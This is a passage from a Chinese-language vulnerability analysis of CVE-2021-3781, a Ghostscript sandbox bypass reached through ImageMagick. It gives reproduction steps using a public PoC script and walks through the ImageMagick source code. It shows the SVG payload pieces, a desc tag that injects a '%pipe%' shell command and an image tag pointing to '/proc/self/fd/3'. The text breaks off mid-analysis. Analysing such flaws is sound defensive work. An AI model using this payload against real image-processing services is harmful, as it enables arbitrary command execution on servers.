Ghostscript沙箱绕过(CVE-2021-3781)分析

b014ca4f892b9b169d40470c73ae2de9.gif

文|腾讯蓝军 路飞

0x00 前言

Ghostscript是一款Adobe PostScript语言和PDF的解释器软件,被诸多著名应用(如ImageMagick)所使用。

  • 9月5日,海外安全研究员在Twitter公开Ghostscript的安全模式绕过0day,并给出ImagMgick的利用代码,该漏洞可以造成任意命令执行,影响诸多下游应用,当天TSRC紧急对该漏洞进行复现与分析。

  • 9月9日,Ghostscript官方发布补丁代码,但是并没有发布编译程序。

  • 9月27日,Ghostscript官方发布修复后的新版本编译程序。

可以说这个0day是影响了相当一段时间,这个漏洞的利用也比较曲折,值得深入研究思考。这篇文章将完整分析从ImageMagick到Ghostscript的攻击利用链。

0x01 环境搭建及复现

1. 影响范围

https://github.com/ImageMagick/ImageMagick

ImageMagick <= 7.0.11-10

https://github.com/ArtifexSoftware/ghostpdl-downloads/releases

Ghostscript <= 9.54.0

2. 漏洞环境搭建

可以在ubuntu 20的环境下快速复现

apt-get install imagemagick


git clone https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50.git


python IM-RCE-via-GhostScript-9.5.py "sleep 1000" 1.jpg


convert 1.jpg 1.pdf

通过pstree查看进程树,可以看到是GhostScript执行了sleep命令,由此可以确认分析路径。

  • ImageMagick是如何生成参数文件,并且传递给GhostScript解析?

  • GhostScript的沙箱是如何被绕过的?

0x02 ImageMagick

1. 分析ImageMagick

这里打算进行源码debug,所以我们从github上下载ImageMagick源码,编译debug版本,进行调试。后面附了整个栈信息,想快速分析的可以直接看栈信息就好了。

一开始看给的poc是生成jpg,以为是jpg文件处理出问题了,其实不然。ImageMagick会自动识别文件类型,通过GetImageDecoder函数获取相对应的文件decoder,这里获取到的decoder是ReadSVGImage,所以虽然将文件名命名为1.jpg,但是ImageMagick还是将文件为svg文件进行处理。

/tmp/ImageMagick-7.0.11-6/MagickCore/constitute.c

decoder=GetImageDecoder(magick_info)

6f908ad19adfd31e67d4992f28c825cc.png

ReadSVGImage函数是如何处理payload中重要的desc、image两个标签?

在ImageMagick/coders/svg.c中搜索到关键词"desc",来到如下图的位置。

4cafbd99f9d4f71910b6640730af1551.png

在处理desc标签的时候,会里面内容加一个#,并且写入到/proc/self/fd/3中(当然这里的fd不一定是3,会根据进程里面打开的文件数量而变化)。

<desc>copies (%pipe%/tmp/;{}) (r) file showpage 0 quit desc>

将上面解析为如下内容,并且添加到/proc/self/fd/3

#copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit

同样搜索"image"关键词,来到如下图的位置。
/tmp/im/ImageMagick-7.0.11-6/coders/svg.c

8b78d2710bb0edef0b2cdcac03087070.png

<image href="epi:/proc/self/fd/3" />

将上面解析为如下内容&

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值